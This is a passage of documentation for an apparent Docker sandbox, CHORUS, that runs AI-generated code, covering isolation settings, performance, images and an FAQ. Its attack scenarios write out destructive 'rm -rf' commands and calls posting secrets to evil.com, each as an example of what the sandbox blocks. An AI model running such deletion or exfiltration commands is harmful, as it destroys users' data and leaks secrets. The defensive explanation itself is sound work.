 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Layer 8: Non-Root User                                           │
 | |
| │ ─────────────────────────────────────────────────────────────── │
 | |
| │ • Runs as user "chorus" (UID 1000)                              │
 | |
| │ • Not in sudoers                                                │
 | |
| │ • No password authentication                                    │
 | |
| │ • Can't escalate to root (no-new-privileges flag)               │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ### Security Configuration (Code)
 | |
| 
 | |
| ```go
 | |
| // pkg/execution/docker.go:558-641
 | |
| func (d *DockerSandbox) buildHostConfig() *container.HostConfig {
 | |
|     return &container.HostConfig{
 | |
|         // Resource Limits
 | |
|         Resources: container.Resources{
 | |
|             Memory:     2 * 1024 * 1024 * 1024, // 2GB
 | |
|             NanoCPUs:   2000000000,             // 2 cores
 | |
|             PidsLimit:  ptr(100),                // 100 processes max
 | |
|         },
 | |
| 
 | |
|         // Security Options
 | |
|         SecurityOpt: []string{
 | |
|             "no-new-privileges:true",            // Prevent privilege escalation
 | |
|             "seccomp=/etc/docker/seccomp.json",  // Syscall filtering
 | |
|             "apparmor=docker-default",           // AppArmor profile
 | |
|         },
 | |
| 
 | |
|         // Capabilities (drop all by default)
 | |
|         CapDrop: []string{"ALL"},
 | |
|         CapAdd:  []string{},  // Add none unless specifically needed
 | |
| 
 | |
|         // Network Isolation
 | |
|         NetworkMode: "none",  // No network access
 | |
| 
 | |
|         // Filesystem Security
 | |
|         ReadonlyRootfs: true,  // Read-only root
 | |
| 
 | |
|         // Process Isolation
 | |
|         IpcMode:  "private",   // No shared IPC
 | |
|         PidMode:  "private",   // Can't see host processes
 | |
| 
 | |
|         // Never privileged
 | |
|         Privileged: false,
 | |
|     }
 | |
| }
 | |
| ```
 | |
| 
 | |
| ### What Can and Cannot Happen
 | |
| 
 | |
| | Action | Possible? | Why? |
 | |
| |--------|-----------|------|
 | |
| | **Read host files** | ❌ No | Mount namespace isolation |
 | |
| | **Write host files** | ❌ No | Mount namespace isolation |
 | |
| | **See host processes** | ❌ No | PID namespace isolation |
 | |
| | **Access host network** | ❌ No | Network namespace = "none" |
 | |
| | **Use more than 2GB RAM** | ❌ No | OOM killer terminates process |
 | |
| | **Use more than 2 CPU cores** | ❌ No | CFS scheduler throttles |
 | |
| | **Spawn 1000 processes** | ❌ No | PID limit = 100 |
 | |
| | **Load kernel modules** | ❌ No | CAP_SYS_MODULE dropped |
 | |
| | **Reboot system** | ❌ No | Seccomp blocks reboot syscall |
 | |
| | **Escalate to root** | ❌ No | no-new-privileges flag |
 | |
| | **Compile code** | ✅ Yes | Compiler included in image |
 | |
| | **Run tests** | ✅ Yes | Test frameworks pre-installed |
 | |
| | **Read /workspace/input** | ✅ Yes | Mounted read-only |
 | |
| | **Write to /workspace/data** | ✅ Yes | Working directory |
 | |
| | **Create artifacts in /workspace/output** | ✅ Yes | Output directory |
 | |
| 
 | |
| ### Real-World Attack Scenarios (and how we prevent them)
 | |
| 
 | |
| **Scenario 1: Malicious Code Tries to Delete Host Files**
 | |
| 
 | |
| ```bash
 | |
| # Malicious command attempted by compromised AI
 | |
| rm -rf /host/important_data
 | |
| 
 | |
| # What actually happens:
 | |
| # ❌ /host/important_data doesn't exist in container namespace
 | |
| # ✅ Even if it did, read-only root filesystem prevents deletion
 | |
| # ✅ Mount namespace prevents access to host paths
 | |
| # Result: Command fails harmlessly
 | |
| ```
 | |
| 
 | |
| **Scenario 2: Infinite Loop Consumes All CPU**
 | |
| 
 | |
| ```rust
 | |
| // Malicious code
 | |
| loop {
 | |
|     // Busy loop attempting to DoS host
 | |
|     let x = 1 + 1;
 | |
| }
 | |
| 
 | |
| // What actually happens:
 | |
| // ✅ CFS scheduler limits to 2 cores maximum
 | |
| // ✅ Host system still has remaining cores available
 | |
| // ✅ Timeout kills container after 5 minutes
 | |
| // Result: Host remains responsive
 | |
| ```
 | |
| 
 | |
| **Scenario 3: Memory Bomb Attempts to Crash System**
 | |
| 
 | |
| ```python
 | |
| # Malicious code
 | |
| data = []
 | |
| while True:
 | |
|     data.append('x' * 10000000)  # Allocate 10MB per iteration
 | |
| 
 | |
| # What actually happens:
 | |
| # ✅ Memory limit = 2GB enforced by cgroups
 | |
| # ✅ When exceeded, OOM killer terminates process
 | |
| # ✅ Host memory unaffected
 | |
| # Result: Container terminated, host protected
 | |
| ```
 | |
| 
 | |
| **Scenario 4: Attempts Network Exfiltration of Data**
 | |
| 
 | |
| ```go
 | |
| // Malicious code
 | |
| http.Post("http://evil.com/steal", "application/json", secretData)
 | |
| 
 | |
| // What actually happens:
 | |
| // ❌ No network interfaces available (NetworkMode="none")
 | |
| // ❌ Can't resolve DNS
 | |
| // ❌ Can't create TCP connections
 | |
| // Result: Network call fails immediately
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Performance Characteristics
 | |
| 
 | |
| ### Startup Times
 | |
| 
 | |
| ```
 | |
| ┌─────────────────────────────────────────────────────────────┐
 | |
| │ Operation                      Time          Notes          │
 | |
| ├─────────────────────────────────────────────────────────────┤
 | |
| │ Image pull (first time)        30-120s       One-time cost  │
 | |
| │ Image pull (cached)            0ms           Already local  │
 | |
| │ Container creation             200-500ms     Create config  │
 | |
| │ Container start                100-300ms     Process spawn  │
 | |
| │ First exec command             10-50ms       Setup overhead │
 | |
| │ Subsequent exec commands       5-15ms        Amortized      │
 | |
| │ File copy (1MB)                20-50ms       Tar streaming  │
 | |
| │ Container stop & remove        100-200ms     Graceful       │
 | |
| └─────────────────────────────────────────────────────────────┘
 | |
| 
 | |
| Total for "Hello World" task:  400-850ms (cached image)
 | |
| Total for Rust compilation:    45-120s (depends on project size)
 | |
| ```
 | |
| 
 | |
| ### Resource Overhead
 | |
| 
 | |
| ```
 | |
| Component               Memory Overhead    CPU Overhead
 | |
| ─────────────────────────────────────────────────────────
 | |
| Docker daemon           50-100MB           1-2% idle
 | |
| Container runtime       20-50MB            <1% idle
 | |
| Executing process       Actual + 10-20MB   Actual + 2-3%
 | |
| CHORUS orchestration    30-50MB            1-2%
 | |
| ─────────────────────────────────────────────────────────
 | |
| Total overhead          ~150MB             ~5%
 | |
| ```
 | |
| 
 | |
| ### Comparison: Different Execution Models
 | |
| 
 | |
| ```
 | |
| ┌──────────────────────────────────────────────────────────────────┐
 | |
| │ Metric            │ Docker Exec │ New Container │ SSH  │ Native │
 | |
| │                   │ (CHORUS)    │  Per Command  │      │        │
 | |
| ├──────────────────────────────────────────────────────────────────┤
 | |
| │ Startup Time      │ 400ms       │ 2-5s          │ 50ms │ 0ms    │
 | |
| │ Command Latency   │ 10ms        │ N/A           │ 30ms │ 0ms    │
 | |
| │ Memory Overhead   │ 150MB       │ 200MB         │ 100MB│ 0MB    │
 | |
| │ File Persistence  │ ✅ Yes      │ ❌ No         │ ✅ Yes│ N/A   │
 | |
| │ Security Isolation│ ✅ Full     │ ✅ Full       │ ⚠️ Partial│❌ None│
 | |
| │ Setup Complexity  │ ⭐ Low      │ ⭐ Low        │ ⭐⭐⭐ High│⭐ Low │
 | |
| │ State Between Cmds│ ✅ Yes      │ ❌ No         │ ✅ Yes│ N/A   │
 | |
| │ API vs CLI        │ ✅ API      │ ⚠️ CLI        │ ⚠️ CLI│ N/A   │
 | |
| └──────────────────────────────────────────────────────────────────┘
 | |
| 
 | |
| Winner: Docker Exec (CHORUS approach) ✨
 | |
| • Persistent state between commands
 | |
| • Low latency after warmup
 | |
| • Full isolation
 | |
| • No authentication complexity
 | |
| • Direct API access (no CLI parsing)
 | |
| ```
 | |
| 
 | |
| ### Performance Optimization Strategies
 | |
| 
 | |
| **1. Container Warmup**
 | |
| ```go
 | |
| // Container stays alive between commands
 | |
| Cmd: []string{"tail", "-f", "/dev/null"}
 | |
| 
 | |
| // Benefits:
 | |
| // • No restart overhead
 | |
| // • Cached filesystem state
 | |
| // • Amortized startup cost
 | |
| ```
 | |
| 
 | |
| **2. Image Pre-pulling**
 | |
| ```bash
 | |
| # Pre-pull on cluster nodes
 | |
| docker pull anthonyrawlins/chorus-rust-dev:latest
 | |
| docker pull anthonyrawlins/chorus-go-dev:latest
 | |
| docker pull anthonyrawlins/chorus-python-dev:latest
 | |
| 
 | |
| # Result: Zero pull time during task execution
 | |
| ```
 | |
| 
 | |
| **3. Layer Caching**
 | |
| ```dockerfile
 | |
| # All language images share base layer
 | |
| FROM debian:bookworm AS base
 | |
| # Base layer: 643MB (shared across all images)
 | |
| 
 | |
| FROM base AS rust-dev
 | |
| # Only Rust-specific layers downloaded
 | |
| # Effective size: ~1.8GB additional
 | |
| ```
 | |
| 
 | |
| **4. Efficient File Transfer**
 | |
| ```go
 | |
| // Use tar streaming (not individual file copies)
 | |
| buf := new(bytes.Buffer)
 | |
| tw := tar.NewWriter(buf)
 | |
| // Add multiple files to single tar
 | |
| // Transfer entire archive in one API call
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Comparison: Why This Approach?
 | |
| 
 | |
| ### Alternative 1: SSH into Container
 | |
| 
 | |
| ```
 | |
| ┌─────────────────────────────────────────────────────────────┐
 | |
| │ How it would work:                                          │
 | |
| │ 1. Install openssh-server in container                     │
 | |
| │ 2. Generate SSH keys                                        │
 | |
| │ 3. Start sshd daemon                                        │
 | |
| │ 4. SSH from CHORUS to container                             │
 | |
| │ 5. Execute commands via SSH session                         │
 | |
| └─────────────────────────────────────────────────────────────┘
 | |
| 
 | |
| Problems:
 | |
| ❌ Extra attack surface (sshd vulnerabilities)
 | |
| ❌ Key management complexity
 | |
| ❌ Authentication overhead
 | |
| ❌ Extra memory (sshd process)
 | |
| ❌ Port management (need unique ports)
 | |
| ❌ Terminal emulation complexity
 | |
| ❌ Less portable (SSH not always available)
 | |
| 
 | |
| Example:
 | |
| # Dockerfile additions needed
 | |
| RUN apt-get install -y openssh-server && \
 | |
|     mkdir /var/run/sshd && \
 | |
|     echo 'chorus:password' | chpasswd
 | |
| 
 | |
| CMD ["/usr/sbin/sshd", "-D"]
 | |
| 
 | |
| # Code complexity
 | |
| conn, err := ssh.Dial("tcp", fmt.Sprintf("localhost:%d", containerPort), sshConfig)
 | |
| session, err := conn.NewSession()
 | |
| output, err := session.CombinedOutput("cargo build")
 | |
| ```
 | |
| 
 | |
| ### Alternative 2: New Container Per Command
 | |
| 
 | |
| ```
 | |
| ┌─────────────────────────────────────────────────────────────┐
 | |
| │ How it would work:                                          │
 | |
| │ 1. Create container for command                             │
 | |
| │ 2. Run: docker run --rm image cargo build                  │
 | |
| │ 3. Wait for completion                                      │
 | |
| │ 4. Container auto-removes                                   │
 | |
| │ 5. Repeat for next command                                  │
 | |
| └─────────────────────────────────────────────────────────────┘
 | |
| 
 | |
| Problems:
 | |
| ❌ Slow (2-5s startup per command)
 | |
| ❌ No state persistence between commands
 | |
| ❌ Can't cd between commands
 | |
| ❌ Can't set environment variables
 | |
| ❌ Wasteful (recreate same environment)
 | |
| ❌ Higher resource churn
 | |
| 
 | |
| Example:
 | |
| // Command 1
 | |
| docker run --rm chorus-rust-dev cargo build
 | |
| // 2-5 second startup, builds in /workspace
 | |
| 
 | |
| // Command 2
 | |
| docker run --rm chorus-rust-dev cargo test
 | |
| // PROBLEM: Previous build artifacts gone!
 | |
| // Must rebuild everything again
 | |
| ```
 | |
| 
 | |
| ### Alternative 3: Direct Host Execution
 | |
| 
 | |
| ```
 | |
| ┌─────────────────────────────────────────────────────────────┐
 | |
| │ How it would work:                                          │
 | |
| │ 1. Run commands directly on host OS                         │
 | |
| │ 2. No containers, no isolation                              │
 | |
| └─────────────────────────────────────────────────────────────┘
 | |
| 
 | |
| Problems:
 | |
| ❌ EXTREMELY DANGEROUS (AI has full system access)
 | |
| ❌ Unpredictable (depends on host OS)
 | |
| ❌ "Works on my machine" syndrome
 | |
| ❌ No resource limits
 | |
| ❌ No cleanup (files left behind)
 | |
| ❌ Dependency conflicts
 | |
| ❌ Security nightmare
 | |
| 
 | |
| Example:
 | |
| // If AI gets compromised or makes mistake:
 | |
| exec.Command("rm", "-rf", "/").Run()
 | |
| // 💀 Your entire system is gone
 | |
| ```
 | |
| 
 | |
| ### Why Docker Exec is Optimal
 | |
| 
 | |
| ```
 | |
| ┌──────────────────────────────────────────────────────────────┐
 | |
| │                  ✅ CHORUS Approach Wins                     │
 | |
| ├──────────────────────────────────────────────────────────────┤
 | |
| │ Security          │ ⭐⭐⭐⭐⭐  Full isolation, multiple layers│
 | |
| │ Performance       │ ⭐⭐⭐⭐⭐  Fast after warmup (10ms/cmd)  │
 | |
| │ Simplicity        │ ⭐⭐⭐⭐⭐  Zero config, no auth needed  │
 | |
| │ State Persistence │ ⭐⭐⭐⭐⭐  Files persist between commands│
 | |
| │ Reproducibility   │ ⭐⭐⭐⭐⭐  Same env every time          │
 | |
| │ Resource Control  │ ⭐⭐⭐⭐⭐  CPU, memory, disk limits     │
 | |
| │ API Quality       │ ⭐⭐⭐⭐⭐  Official Go SDK, well-tested │
 | |
| │ Portability       │ ⭐⭐⭐⭐⭐  Works anywhere Docker runs   │
 | |
| └──────────────────────────────────────────────────────────────┘
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Available Development Environments
 | |
| 
 | |
| All images are publicly available on Docker Hub: `docker.io/anthonyrawlins/chorus-*`
 | |
| 
 | |
| ### Image Catalog
 | |
| 
 | |
| | Image | Base Size | Tools Included | Use Cases |
 | |
| |-------|-----------|----------------|-----------|
 | |
| | **chorus-base** | 643MB | git, curl, wget, vim, jq, build-essential, netcat, zip/tar | Shell scripts, generic tasks, text processing |
 | |
| | **chorus-rust-dev** | 2.42GB | rustc 1.77+, cargo, clippy, rustfmt, rust-analyzer, ripgrep, fd-find, bat | Rust compilation, cargo builds, clippy linting, formatting |
 | |
| | **chorus-go-dev** | 1GB | go1.22, gopls, delve, staticcheck, golangci-lint | Go builds, go mod operations, testing, linting |
 | |
| | **chorus-python-dev** | 1.07GB | python3.11, uv, pip-tools, ruff, black, mypy, pytest, pylint, ipython | Python scripts, pip installs, testing, type checking |
 | |
| | **chorus-node-dev** | 982MB | node20, npm, pnpm, yarn, typescript, ts-node, eslint, prettier, nodemon | npm builds, TypeScript compilation, testing, linting |
 | |
| | **chorus-java-dev** | 1.3GB | openjdk-17, maven, gradle | Maven/Gradle builds, Java compilation, JUnit testing |
 | |
| | **chorus-cpp-dev** | 1.63GB | gcc, g++, clang, cmake, ninja, gdb, valgrind, doxygen | C/C++ compilation, CMake builds, debugging, profiling |
 | |
| 
 | |
| ### Workspace Structure (Standardized Across All Images)
 | |
| 
 | |
| ```
 | |
| /workspace/
 | |
| ├── input/      Read-only source code, task inputs
 | |
| │   ├── src/
 | |
| │   ├── README.md
 | |
| │   └── Cargo.toml
 | |
| │
 | |
| ├── data/       Working directory for builds and temporary files
 | |
| │   ├── target/         (Rust build artifacts)
 | |
| │   ├── node_modules/   (Node dependencies)
 | |
| │   └── .cache/         (Various caches)
 | |
| │
 | |
| └── output/     Final deliverables and artifacts
 | |
|     ├── myapp           (compiled binary)
 | |
|     ├── test-results.xml
 | |
|     └── coverage.html
 | |
| ```
 | |
| 
 | |
| ### Environment Variables (All Images)
 | |
| 
 | |
| ```bash
 | |
| WORKSPACE_ROOT=/workspace
 | |
| WORKSPACE_INPUT=/workspace/input
 | |
| WORKSPACE_DATA=/workspace/data
 | |
| WORKSPACE_OUTPUT=/workspace/output
 | |
| ```
 | |
| 
 | |
| ### Example: Using Each Image
 | |
| 
 | |
| **Rust Development:**
 | |
| ```bash
 | |
| docker run --rm -v $(pwd):/workspace/input:ro \
 | |
|     anthonyrawlins/chorus-rust-dev:latest \
 | |
|     bash -c "cd /workspace/input && cargo build --release"
 | |
| ```
 | |
| 
 | |
| **Python Script:**
 | |
| ```bash
 | |
| docker run --rm -v $(pwd):/workspace/input:ro \
 | |
|     anthonyrawlins/chorus-python-dev:latest \
 | |
|     bash -c "cd /workspace/input && python3 main.py"
 | |
| ```
 | |
| 
 | |
| **Node.js Application:**
 | |
| ```bash
 | |
| docker run --rm -v $(pwd):/workspace/input:ro \
 | |
|     anthonyrawlins/chorus-node-dev:latest \
 | |
|     bash -c "cd /workspace/input && npm install && npm test"
 | |
| ```
 | |
| 
 | |
| ### Language Detection Algorithm
 | |
| 
 | |
| ```go
 | |
| // Priority 1: Explicit (highest confidence)
 | |
| {
 | |
|   "context": {
 | |
|     "language": "rust"  // ← Directly specified
 | |
|   }
 | |
| }
 | |
| // Result: chorus-rust-dev
 | |
| 
 | |
| // Priority 2: Repository URL patterns
 | |
| {
 | |
|   "context": {
 | |
|     "repository_url": "github.com/user/my-rust-app"  // ← "rust" in name
 | |
|   }
 | |
| }
 | |
| // Result: chorus-rust-dev
 | |
| 
 | |
| // Priority 3: Description keywords
 | |
| {
 | |
|   "description": "Fix compilation error in Cargo.toml"  // ← "Cargo.toml" detected
 | |
| }
 | |
| // Result: chorus-rust-dev (high-priority keyword match)
 | |
| 
 | |
| // Priority 4: Generic mentions
 | |
| {
 | |
|   "description": "Update the rust version"  // ← Generic "rust" mention
 | |
| }
 | |
| // Result: chorus-rust-dev (medium-priority match)
 | |
| 
 | |
| // Fallback
 | |
| {
 | |
|   "description": "Process this JSON file"  // ← No language detected
 | |
| }
 | |
| // Result: chorus-base (fallback)
 | |
| ```
 | |
| 
 | |
| ### AI Model Awareness (New in v2.0)
 | |
| 
 | |
| AI models now receive image information in their system prompt via **Rule E: Execution Environments**:
 | |
| 
 | |
| ```markdown
 | |
| Available Images (Docker Hub: anthonyrawlins/chorus-*):
 | |
| 
 | |
| | Language/Stack | Image | Pre-installed Tools | Use When |
 | |
| |----------------|-------|---------------------|----------|
 | |
| | **Rust** | chorus-rust-dev | rustc, cargo, clippy | Rust compilation... |
 | |
| ```
 | |
| 
 | |
| This allows AI to:
 | |
| - Recommend appropriate environments
 | |
| - Explicitly set `context.language` in responses
 | |
| - Explain tool availability to users
 | |
| - Plan multi-step execution with correct images
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Real-World Examples
 | |
| 
 | |
| ### Example 1: Fix Rust Compilation Error
 | |
| 
 | |
| **User Request:**
 | |
| ```json
 | |
| {
 | |
|   "task_id": "FIX-001",
 | |
|   "description": "Fix the compilation error in src/main.rs",
 | |
|   "context": {
 | |
|     "repository_url": "https://github.com/user/my-rust-app",
 | |
|     "language": "rust"
 | |
|   }
 | |
| }
 | |
| ```
 | |
| 
 | |
| **Execution Flow:**
 | |
| 
 | |
| ```
 | |
| 1. Language Detection
 | |
|    ├─ Explicit: context.language = "rust" ✅
 | |
|    ├─ Repository: "rust-app" detected ✅
 | |
|    └─ Selected: anthonyrawlins/chorus-rust-dev:latest
 | |
| 
 | |
| 2. Sandbox Initialization (850ms)
 | |
|    ├─ Pull image (0ms - cached)
 | |
|    ├─ Create container (300ms)
 | |
|    ├─ Start container (150ms)
 | |
|    └─ Configure workspace (400ms)
 | |
| 
 | |
| 3. AI Analysis (5s)
 | |
|    ├─ Read src/main.rs
 | |
|    ├─ Identify error: "unused variable `x`"
 | |
|    └─ Generate fix
 | |
| 
 | |
| 4. Apply Fix (50ms)
 | |
|    ├─ WriteFile(src/main.rs, fixed_content)
 | |
|    └─ Verify with syntax check
 | |
| 
 | |
| 5. Compile & Test (45s)
 | |
|    ├─ Command: cargo build --release
 | |
|    ├─ stdout: "Compiling myapp v0.1.0..."
 | |
|    ├─ Command: cargo test
 | |
|    └─ Exit code: 0 ✅
 | |
| 
 | |
| 6. Collect Artifacts (200ms)
 | |
|    ├─ Binary: target/release/myapp (4.2MB)
 | |
|    ├─ Test report: target/test-results.xml
 | |
|    └─ Coverage: target/coverage.html
 | |
| 
 | |
| 7. Cleanup (150ms)
 | |
|    ├─ Stop container
 | |
|    └─ Remove container
 | |
| 
 | |
| Total Time: 51.25 seconds
 | |
| Result: Success ✅
 | |
| ```
 | |
| 
 | |
| **Resource Usage:**
 | |
| ```
 | |
| CPU: 1.8 cores average (90% of 2-core limit)
 | |
| Memory: 1.6GB peak (80% of 2GB limit)
 | |
| Disk I/O: 450MB read, 180MB written
 | |
| Network: 0 bytes (isolated)
 | |
| Processes: 12 peak (12% of 100 limit)
 | |
| ```
 | |
| 
 | |
| ### Example 2: Python Data Analysis
 | |
| 
 | |
| **User Request:**
 | |
| ```json
 | |
| {
 | |
|   "task_id": "ANALYZE-001",
 | |
|   "description": "Run pytest on the data analysis pipeline",
 | |
|   "context": {
 | |
|     "repository_url": "https://github.com/user/data-pipeline"
 | |
|   }
 | |
| }
 | |
| ```
 | |
| 
 | |
| **Execution Flow:**
 | |
| 
 | |
| ```
 | |
| 1. Language Detection
 | |
|    ├─ Repository: "data-pipeline" (no lang hint)
 | |
|    ├─ Description: "pytest" detected ✅
 | |
|    └─ Selected: anthonyrawlins/chorus-python-dev:latest
 | |
| 
 | |
| 2. Setup Dependencies (15s)
 | |
|    ├─ Command: uv sync
 | |
|    ├─ Installs: pandas, numpy, pytest, pytest-cov
 | |
|    └─ Cache: /workspace/data/.cache/uv/
 | |
| 
 | |
| 3. Run Tests (8s)
 | |
|    ├─ Command: uv run pytest --cov=src --cov-report=html
 | |
|    ├─ stdout: "test_pipeline.py::test_transform PASSED"
 | |
|    ├─ stdout: "test_pipeline.py::test_analyze PASSED"
 | |
|    ├─ Coverage: 94%
 | |
|    └─ Exit code: 0 ✅
 | |
| 
 | |
| 4. Artifacts
 | |
|    ├─ HTML report: htmlcov/index.html
 | |
|    ├─ XML report: coverage.xml
 | |
|    └─ Pytest cache: .pytest_cache/
 | |
| 
 | |
| Total Time: 24.8 seconds
 | |
| Result: Success ✅ (94% coverage)
 | |
| ```
 | |
| 
 | |
| ### Example 3: Multi-Language Monorepo
 | |
| 
 | |
| **User Request:**
 | |
| ```json
 | |
| {
 | |
|   "task_id": "BUILD-001",
 | |
|   "description": "Build the frontend and backend",
 | |
|   "context": {
 | |
|     "repository_url": "https://github.com/user/fullstack-app"
 | |
|   }
 | |
| }
 | |
| ```
 | |
| 
 | |
| **Execution Flow (Sequential):**
 | |
| 
 | |
| ```
 | |
| Task 1: Build Backend (Go)
 | |
| ─────────────────────────────
 | |
| 1. Detect: "go.mod" found → go-dev
 | |
| 2. Sandbox: chorus-go-dev container
 | |
| 3. Commands:
 | |
|    ├─ go mod download
 | |
|    ├─ go build -o backend ./cmd/server
 | |
|    └─ go test ./...
 | |
| 4. Result: backend binary (12MB)
 | |
| 5. Cleanup & save artifacts
 | |
| 
 | |
| Task 2: Build Frontend (Node.js)
 | |
| ─────────────────────────────────
 | |
| 1. Detect: "package.json" found → node-dev
 | |
| 2. Sandbox: chorus-node-dev container
 | |
| 3. Commands:
 | |
|    ├─ npm install
 | |
|    ├─ npm run build
 | |
|    └─ npm test
 | |
| 4. Result: dist/ folder (8MB)
 | |
| 5. Cleanup & save artifacts
 | |
| 
 | |
| Combined Artifacts:
 | |
| ├─ backend (12MB)
 | |
| └─ frontend/dist/ (8MB)
 | |
| 
 | |
| Total Time: 89 seconds (parallel: 52s)
 | |
| Result: Success ✅
 | |
| ```
 | |
| 
 | |
| ### Example 4: Security Scenario - Malicious Code Blocked
 | |
| 
 | |
| **Malicious Request (AI compromised or buggy):**
 | |
| ```json
 | |
| {
 | |
|   "task_id": "EVIL-001",
 | |
|   "description": "Clean up old files",
 | |
|   "context": {}
 | |
| }
 | |
| ```
 | |
| 
 | |
| **AI Generates Malicious Code:**
 | |
| ```python
 | |
| # Attempt 1: Delete host files
 | |
| import os
 | |
| os.system("rm -rf /host/important_data")
 | |
| 
 | |
| # Attempt 2: Cryptocurrency miner
 | |
| while True:
 | |
|     compute_hash()  # Infinite CPU loop
 | |
| 
 | |
| # Attempt 3: Exfiltrate data
 | |
| import requests
 | |
| requests.post("http://evil.com", data=secrets)
 | |
| ```
 | |
| 
 | |
| **What Actually Happens:**
 | |
| 
 | |
| ```
 | |
| Attempt 1: Delete Host Files
 | |
| ─────────────────────────────
 | |
| Command: rm -rf /host/important_data
 | |
| Result: ❌ Path not found
 | |
| Reason: Mount namespace isolation
 | |
|        /host doesn't exist in container
 | |
|        Even if it did, read-only root FS prevents deletion
 | |
| 
 | |
| Attempt 2: CPU Mining
 | |
| ─────────────────────
 | |
| Command: python3 mine.py
 | |
| Result: ⚠️ Runs but limited
 | |
| Reason: CPU limit = 2 cores (can't consume all host CPU)
 | |
|         Timeout = 5 minutes (killed automatically)
 | |
|         Host system remains responsive
 | |
| 
 | |
| Attempt 3: Network Exfiltration
 | |
| ────────────────────────────────
 | |
| Command: python3 -c "import requests; requests.post(...)"
 | |
| Result: ❌ Network unreachable
 | |
| Reason: NetworkMode = "none"
 | |
|         No network interfaces available
 | |
|         Can't resolve DNS or create connections
 | |
| 
 | |
| Final Outcome:
 | |
| ✅ Host system completely safe
 | |
| ✅ Container killed after timeout
 | |
| ✅ All attempts logged for audit
 | |
| ✅ No persistent damage
 | |
| ```
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Troubleshooting & FAQ
 | |
| 
 | |
| ### Common Issues
 | |
| 
 | |
| **1. "Image not found" Error**
 | |
| 
 | |
| ```bash
 | |
| Error: Failed to pull image: manifest unknown
 | |
| ```
 | |
| 
 | |
| **Solution:**
 | |
| ```bash
 | |
| # Verify image name
 | |
| docker pull anthonyrawlins/chorus-rust-dev:latest
 | |
| 
 | |
| # Check Docker Hub manually
 | |
| # https://hub.docker.com/r/anthonyrawlins/chorus-rust-dev
 | |
| 
 | |
| # If still failing, check internet connection
 | |
| ping hub.docker.com
 | |
| ```
 | |
| 
 | |
| **2. Container Startup Timeout**
 | |
| 
 | |
| ```bash
 | |
| Error: Context deadline exceeded while starting container
 | |
| ```
 | |
| 
 | |
| **Solution:**
 | |
| ```bash
 | |
| # Check Docker daemon status
 | |
| systemctl status docker
 | |
| 
 | |
| # Check system resources
 | |
| docker system df
 | |
| df -h
 | |
| 
 | |
| # Clean up old containers/images
 | |
| docker system prune -a
 | |
| 
 | |
| # Increase timeout in config
 | |
| timeout: 10 * time.Minute  // Default: 5 minutes
 | |
| ```
 | |
| 
 | |
| **3. Out of Memory Errors**
 | |
| 
 | |
| ```bash
 | |
| Error: Container killed by OOM killer
 | |
| ```
 | |
| 
 | |
| **Solution:**
 | |
| ```go
 | |
| // Increase memory limit in SandboxConfig
 | |
| Resources: ResourceLimits{
 | |
|     MemoryLimit: 4 * 1024 * 1024 * 1024, // 4GB instead of 2GB
 | |
| }
 | |
| ```
 | |
| 
 | |
| **4. Permission Denied Writing Files**
 | |
| 
 | |
| ```bash
 | |
| Error: Permission denied: /workspace/output/myapp
 | |
| ```
 | |
| 
 | |
| **Solution:**
 | |
| ```bash
 | |
| # Container runs as UID 1000 (user: chorus)
 | |
| # Ensure host directories have correct permissions
 | |
| 
 | |
| # On host:
 | |
| sudo chown -R 1000:1000 /path/to/workspace/output
 | |
| # Or make world-writable (less secure):
 | |
| chmod 777 /path/to/workspace/output
 | |
| ```
 | |
| 
 | |
| ### FAQ
 | |
| 
 | |
| **Q: Can the AI access my files?**
 | |
| 
 | |
| A: No. The container has its own isolated filesystem. You explicitly choose which files to mount via `Repository.LocalPath`, and even those are mounted read-only by default.
 | |
| 
 | |
| **Q: What if the AI generates malicious code?**
 | |
| 
 | |
| A: The security layers prevent damage:
 | |
| - No network access (can't exfiltrate data)
 | |
| - No host file access (can't modify your system)
 | |
| - Resource limits (can't DoS your machine)
 | |
| - Read-only root (can't install malware)
 | |
| - Non-root user (can't escalate privileges)
 | |
| 
 | |
| **Q: How much disk space do the images use?**
 | |
| 
 | |
| A: Total: ~9GB for all 7 images with layer sharing:
 | |
| - Base layers are shared across images
 | |
| - Only language-specific layers are unique
 | |
| - Example: rust-dev = 643MB base + 1.8GB Rust tools
 | |
| 
 | |
| **Q: Can I use custom images?**
 | |
| 
 | |
| A: Yes! Specify in `SandboxConfig`:
 | |
| ```go
 | |
| config := &SandboxConfig{
 | |
|     Image: "mycompany/custom-rust:latest",
 | |
| }
 | |
| ```
 | |
| 
 | |
| **Q: What happens if a command hangs forever?**
 | |
| 
 | |
| A: Automatic timeout:
 | |
| - Default: 5 minutes per command
 | |
| - Configurable via `Command.Timeout`
 | |
| - Container is forcibly stopped after timeout
 | |
| - Resources are cleaned up automatically
 | |
| 
 | |
| **Q: Can containers communicate with each other?**
 | |
| 
 | |
| A: No by default (`NetworkMode: "none"`). If needed for multi-service testing, you can configure a custom Docker network, but this should be used cautiously.
 | |
| 
 | |
| **Q: How do I debug issues inside the container?**
 | |
| 
 | |
| A: Several options:
 | |
| ```go
 | |
| // 1. Keep container alive for manual inspection
 | |
| config.CleanupDelay = 10 * time.Minute
 | |
| 
 | |
| // 2. Execute debug commands
 | |
| sandbox.ExecuteCommand(ctx, &Command{
 | |
|     Executable: "ls",
 | |
|     Args: []string{"-la", "/workspace/data"},
 | |
| })
 | |
| 
 | |
| // 3. Read log files
 | |
| logContent, _ := sandbox.ReadFile(ctx, "/workspace/data/build.log")
 | |
| ```
 | |
| 
 | |
| **Q: Performance: Should I pre-pull images?**
 | |
| 
 | |
| A: Highly recommended for production:
 | |
| ```bash
 | |
| # On each cluster node
 | |
| docker pull anthonyrawlins/chorus-rust-dev:latest
 | |
| docker pull anthonyrawlins/chorus-go-dev:latest
 | |
| docker pull anthonyrawlins/chorus-python-dev:latest
 | |
| docker pull anthonyrawlins/chorus-node-dev:latest
 | |
| docker pull anthonyrawlins/chorus-java-dev:latest
 | |
| docker pull anthonyrawlins/chorus-cpp-dev:latest
 | |
| docker pull anthonyrawlins/chorus-base:latest
 | |
| ```
 | |
| 
 | |
| This eliminates 30-120s pull time on first use.
 | |
| 
 | |
| **Q: Can I run multiple tasks in parallel?**
 | |
| 
 | |
